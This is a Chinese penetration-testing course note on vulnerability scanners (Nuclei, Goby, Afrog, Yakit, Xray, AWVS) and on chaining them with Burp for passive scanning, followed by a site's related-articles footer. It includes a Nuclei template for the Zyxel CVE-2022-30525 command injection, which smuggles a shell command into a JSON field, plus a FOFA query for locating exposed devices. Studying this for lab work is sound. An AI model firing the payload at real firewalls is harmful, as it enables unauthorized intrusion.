Day101：漏洞发现-漏扫项目篇NucleiYakitGobyAfrogXrayAwvs联动中转被动

目录

特征类-三方Poc调用&模版Poc调用

案例1：单点对某特征点进行安全评估

Goby-综合类

Nuclei-较综合类

Afrog-特征类

Yakit-可特征可综合

案例2：新型对某特征点进行安全评估

综合类-主动漏扫&中转联动&被动联动

案例1：单点工具主动对某站点进行安全评估

AWVS

Xray

案例2：联动对APP抓包进行安全评估

Burp&Xray联动-抓包给xray扫

Awvs&Xray联动-爬虫给xray扫

Awvs&Burp&Xray中转联动-都扫看流量

知识点：

1、综合类-Burp&Xray&Awvs&Goby

2、特征类-Afrog&Yakit&Nuclei

3、联动类-主动扫描&被动扫描&中转扫描

市面上有很多漏扫系统工具脚本，课程讲到的基本都是目前主流推荐的优秀项目！
Burpsuite，Awvs，Xray，Goby，Afrog，Yakit，Nuclei，Vulmap，Pocassist，Nessus，Pentestkit，Kunyu，Pocsuite3，浏览器各类插件，Burpsuite插件(HaE,ShiroScan,FastJsonScan,Log4j2Scan,Springscan，JScan等)。

BurpSuite是用于攻击web 应用程序的集成平台，包含了许多工具。BurpSuite为这些工具设计了许多接口，以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

Acunetix一款商业的Web漏洞扫描程序，它可以检查Web应用程序中的漏洞，如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面，并且能够创建专业级的Web站点安全审核报告。新版本集成了漏洞管理功能来扩展企业全面管理、优先级和控制漏洞威胁的能力。

Xray是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器，支持主动、被动多种扫描方式，自备盲打平台、可以灵活定义 POC，功能丰富，调用简单，支持Windows /macOS /Linux 多种操作系统，可以满足广大安全从业者的自动化 Web 漏洞探测需求。

Goby是一款新的网络安全测试工具，由赵武Zwell（Pangolin、JSky、FOFA作者）打造，它能够针对一个目标企业梳理最全的攻击面信息，同时能进行高效、实战化漏洞扫描，并快速的从一个验证入口点，切换到横向。能通过智能自动化方式，帮助安全入门者熟悉靶场攻防，帮助攻防服务者、渗透人员更快的拿下目标。

Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发，具有很强的可配置性、可扩展性和易用性。 提供TCP、DNS、HTTP、FILE 等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。(注意：不同工具的yaml模板都不同，无法做到通用)

Afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描（挖洞）工具，PoC 涉及 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快速验证并及时修复漏洞。

Yakit是一款集成化单兵安全能力平台,通过函数提供各类底层安全能力，包括端口扫描、指纹识别、poc框架、shell管理、MITM劫持、强大的插件系统等。旨在打造一个覆盖渗透测试全流程的网络安全工具库。
 

特征类-三方Poc调用&模版Poc调用

案例1：单点对某特征点进行安全评估

docker拉取靶场镜像：
docker run -it -p 8888:8080 vulhub/struts2:s2-053
docker run -it -p 8090:8090 vulhub/fastjson:1.2.45
docker run -it -p 8888:8080 vulhub/shiro:1.2.4

Goby-综合类

https://gobysec.net/

GUI界面，使用简单，直接有手就行

Nuclei-较综合类

官网地址：https://nuclei.projectdiscovery.io/

项目下载：https://github.com/projectdiscovery/nuclei

官方Nuclei-Templates&第三方Nuclei-Templates：

https://github.com/projectdiscovery/nuclei-templates

https://github.com/ExpLangcn/NucleiTP

扫描批量url

nucle -l urls.txt

扫描单个目标

nuclei -target xxx.com

加载对应的poc脚本，可以是当前路径下

nuclei -t ./test/
nuclei -t ./test/test.yaml

推荐使用，批量检测urls.txt，poc为test.yaml，输出结果result.txt

nuclei -l urls.txt -t test.yaml -o result.txt

Afrog-特征类

https://github.com/zan8in/afrog

Afrog是一款性能卓越、快速稳定、PoC可定制的漏洞扫描（挖洞）工具，PoC涉及CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快速验证并及时修复漏洞。

扫描单个目标

afrog -t http://example.com -o result.html

扫描多个目标

afrog -T urls.txt -o result.html

测试单个PoC

afrog -t http://example.com -P ./testing/poc-test.yaml -o result.html

测试多个PoC

afrog -t http://example.com -P ./testing/ -o result.html

Yakit-可特征可综合

https://www.yaklang.com/

GUI界面，使用简单，直接有手就行

案例2：新型对某特征点进行安全评估

例子：CVE-2022-30525: Zyxel 防火墙远程命令注入漏洞
https://blog.csdn.net/weixin_43080961/article/details/124776553

复现：

Fofa：title=="USG FLEX 50 (USG20-VPN)"nuclei.exe -t Zyxel.yaml -l z.txt

Zyxel.yaml：

id: CVE-2022-30525
info:name: cxauthor: remoteseverity: hightags: CVE-2022-30525reference: CVE-2022-30525
requests:- raw:- |POST /ztp/cgi-bin/handler HTTP/1.1Host: {{Hostname}}Content-Type: application/json; charset=utf-8{"command": "setWanPortSt","proto": "dhcp","port": "1270","vlan_tagged": "1270","vlanid": "1270","mtu": "{{exploit}}","data":""}payloads:exploit:- ";ping -c 3 {{interactsh-url}};"attack: pitchforkmatchers:- type: wordpart: interactsh_protocolname: dnswords:- "dns"

综合类-主动漏扫&中转联动&被动联动

案例1：单点工具主动对某站点进行安全评估

http://testphp.vulnweb.com/

AWVS

Xray

.\xray_windows_amd64.exe webscan --basic-crawler http://xx/ --html-output xx.html

案例2：联动对APP抓包进行安全评估

eg：安卓模拟器某APP应用

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xx.html

之后在模拟器上打开APP，bp就会收到相关数据包并转发给xray

对比工具优缺点

  • 爬虫：常规漏洞测试
  • Poc：用网上各种组件框架的漏洞去测试
  • Awvs：爬虫强，Poc国内差点
  • 任务添加&数据头部&代理模式&扫描模式等
  • Xray：爬虫弱，Poc国内友好

工具联动意义

  1. 相互联动性解决漏扫(APP、小程序等)
  2. 相互联动性解决URL未探针

Burp&Xray联动-抓包给xray扫

1、主-Burp设置转发代理

2、副-Xray设置被动扫描

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xx.html

Awvs&Xray联动-爬虫给xray扫

1、主-Awvs设置代理扫描

2、副-Xray设置被动扫描

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7788 --html-output xx.html

Awvs&Burp&Xray中转联动-都扫看流量

1、主-Awvs设置代理扫描

2、中-Burp设置转发代理

3、副-Xray设置被动扫描

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xx.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/309718.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【学习笔记十四】EWM发货流程概述及相关配置

【学习笔记十四】EWM发货流程概述及相关配置

一、EWM发货流程与ERP集成配置 1.将凭证类型从 ERP 系统映射至 EWM ERP交货单凭证类型LF映射到EWM凭证类型OUTB 2.从 ERP 系统映射项目类型至 EWM ERP交货单凭证类型+ERP交货单项目类型TAN映射到EWM项目类型是ODLV 3.定义出库交货的参数文件 ①定义外向交货处理的凭证类型OUT…
阅读更多...
Linux查看进程

Linux查看进程

Linux查看进程 引言查看进程1.快速查看运行中的进程列表2. 查看所有用户的所有进程3.显示所有进程的完整格式。4.动态显示进程的信息5.根据进程名查找进程ID6.以树状图的方式显示进程间的父子关系7.查找指定名字的进程id 引言 Linux查看进程在日常的使用中比较常见&#xff0c…
阅读更多...
gcn代码处理出现的问题

gcn代码处理出现的问题

README 版本不一致 python 2.7 PYTHON 3.7 切换 TensorFlow系统的学习使用 数据集下载
阅读更多...
c++ - 类的默认成员函数

c++ - 类的默认成员函数

文章目录 前言一、构造函数二、析构函数三、拷贝构造函数四、重载赋值操作符五、取地址及const取地址操作符重载 前言 默认成员函数是编译器自动生成的，也可以自己重写，自己重写之后编译器就不再生成，下面是深入了解这些成员函数。 一、构造…
阅读更多...
执行npm命令一直出现sill idealTree buildDeps怎么办？

执行npm命令一直出现sill idealTree buildDeps怎么办？

一、问题 今天在运行npm时候一直出项sill idealTree buildDeps问题 二、 解决 1、网上查了一下，有网友说先删除用户界面下的npmrc文件（注意一定是用户C:\Users\{账户}\下的.npmrc文件下不是nodejs里面），进入到对应目录下&#x…
阅读更多...
3dmax制作小熊猫的基本流程

3dmax制作小熊猫的基本流程

1.透视图插入面片，改高度宽度，把参考图放进面片里。 2.角度捕捉切换，角度改为90 3.shift旋转，旋转面片，复制一个出来 4.在前视图，把参考图片中的正式图小熊猫的一半的位置（可以是眼睛&#x…
阅读更多...
自己操作逆向案例一——某竞赛网登录密码加密，超级简单，泪目了！

自己操作逆向案例一——某竞赛网登录密码加密，超级简单，泪目了！

网址：aHR0cHM6Ly9leGFtem9uZS5zYWlrci5jb20vcXVlc3Rpb24vZXhwbG9yZQ 打开开发者工具，点击账号密码登录，进行抓包 先进行搜索，发现一下子就找到了，且看上去很像MD5加密，打上断点，再次点击登录。…
阅读更多...
如何保证消息不丢失?——使用rabbitmq的死信队列！

如何保证消息不丢失?——使用rabbitmq的死信队列！

如何保证消息不丢失?——使用rabbitmq的死信队列！ 1、什么是死信 在 RabbitMQ 中充当主角的就是消息，在不同场景下，消息会有不同地表现。 死信就是消息在特定场景下的一种表现形式，这些场景包括： 消息被拒绝访问&am…
阅读更多...
畅游网络：构建C++网络爬虫的指南

畅游网络：构建C++网络爬虫的指南

概述 随着信息时代的来临，网络爬虫技术成为数据采集和网络分析的重要工具。本文旨在探讨如何运用C语言及其强大的cpprestsdk库构建一个高效的网络爬虫，以便捕捉知乎等热点信息。为了应对IP限制的挑战，我们将引入亿牛云爬虫代理服务&#xff…
阅读更多...
使用 Python 的 LSTM 进行股市预测

使用 Python 的 LSTM 进行股市预测

目录 一、说明 二、为什么需要时间序列模型？ 三、下载数据 3.1 从 Alphavantage 获取数据 3.1 从 Kaggle 获取数据 3.3 数据探索 3.4 数据可视化 四、将数据拆分为训练集和测试集 五、数据标准化 六、通过平均进行一步预测 6.1 标准平均值 6.2 指数移动平均线 6.3 如…
阅读更多...
【how2j练习题】HTML DOM部分阶段练习

【how2j练习题】HTML DOM部分阶段练习

练习1 <!-- 验证账号是否已经存在 那么就在js使用简单的验证规则&#xff1a; 如果账号是以a或者A开头的&#xff0c;那么就提示已经存在了。 --> <!-- 1.需要一个输入框和一个按钮 2.按钮上绑上一个事件。 3.编写事件&#xff0c;并输出答案 --><html><…
阅读更多...
锂电池寿命预测 | Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测

锂电池寿命预测 | Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测

目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 锂电池寿命预测 | Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测 程序设计 完整程序和数据获取方式&#xff1a;私信博主回复Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测。 参考资料 [1] h…
阅读更多...
SinoDB创建、更改、删除索引

SinoDB创建、更改、删除索引

SinoDB数据库的索引组织方式有两种&#xff1a;B树索引与R树索引。B 树是大多数数据库所采用的索引组织方式。R 树索引作为表的辅助访问方法&#xff0c;主要用于查找多维空间数据。本文主要讨论B 树索引。 1. B 树索引 B 树索引按级别进行组织。最高级别包含指向真实的数据的…
阅读更多...
SSM项目转Springboot项目

SSM项目转Springboot项目

SSM项目转Springboot项目 由于几年前写的一个ssm项目想转成springboot项目&#xff0c;所以今天倒腾了一下。 最近有人需要毕业设计转换一下&#xff0c;所以我有时间的话可以有偿帮忙转换&#xff0c;需要的私信我或&#xff0b;v&#xff1a;Arousala_ 首先创建一个新的spr…
阅读更多...
面试官：MySQL的自增 ID 用完了，怎么办？

面试官：MySQL的自增 ID 用完了，怎么办？

如果你用过或了解过MySQL&#xff0c;那你一定知道自增主键了。每个自增id都是定义了初始值&#xff0c;然后按照指定步长增长&#xff08;默认步长是1&#xff09;。虽然&#xff0c;自然数是没有上限的&#xff0c;但是我们在设计表结构的时候&#xff0c;通常都会指定字段长…
阅读更多...
判断IQ水平-第12届蓝桥杯选拔赛Python真题精选

判断IQ水平-第12届蓝桥杯选拔赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第50讲。 判断IQ水平&#…
阅读更多...
MGRE-OSPF接口网络类型实验

MGRE-OSPF接口网络类型实验

OSPF接口网络类型实验 一&#xff0c;实验拓扑 初始拓扑&#xff1a; 最终拓扑&#xff1a; 二&#xff0c;实验要求及分析 要求&#xff1a; 1&#xff0c;R6为ISP只能配置IP地址&#xff0c;R1-R5的环回为私有网段 2&#xff0c;R1/R4/R5为全连的MGRE结构&#xff0c;R…
阅读更多...
HCIP的学习（8）

HCIP的学习（8）

OSPF数据报文 OSPF头部信息&#xff08;公共固定&#xff09; 版本&#xff1a;OSPF版本&#xff0c;在IPv4网络中版本字段恒定为数值2&#xff08;v1属于实验室版本&#xff0c;v3属于IPv6&#xff09;类型&#xff1a;代表具体是哪一种报文&#xff0c;按照1~5排序&#xff…
阅读更多...
qt5-入门-QByteArray

qt5-入门-QByteArray

参考&#xff1a; Using QByteArray - Qt Wiki https://wiki.qt.io/Using_QByteArray Qt总结之十五&#xff1a;QByteArray详解-CSDN博客 https://blog.csdn.net/Aidam_Bo/article/details/85778012 QT学习&#xff1a;09 QByteArray - schips - 博客园 https://www.cnblogs.…
阅读更多...
数据结构—顺序表实现通讯录

数据结构—顺序表实现通讯录

在上一节我们基本了解了顺序表的基本知识&#xff0c;接下来我们就用顺序表来实现一下通讯录。 一、基于动态顺序表实现通讯录 1.1 功能介绍 1. 能够保存用户信息&#xff1a;姓名&#xff0c;性别&#xff0c;年龄&#xff0c;电话&#xff0c;地址等 2. 添加联系人信息 3. …
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023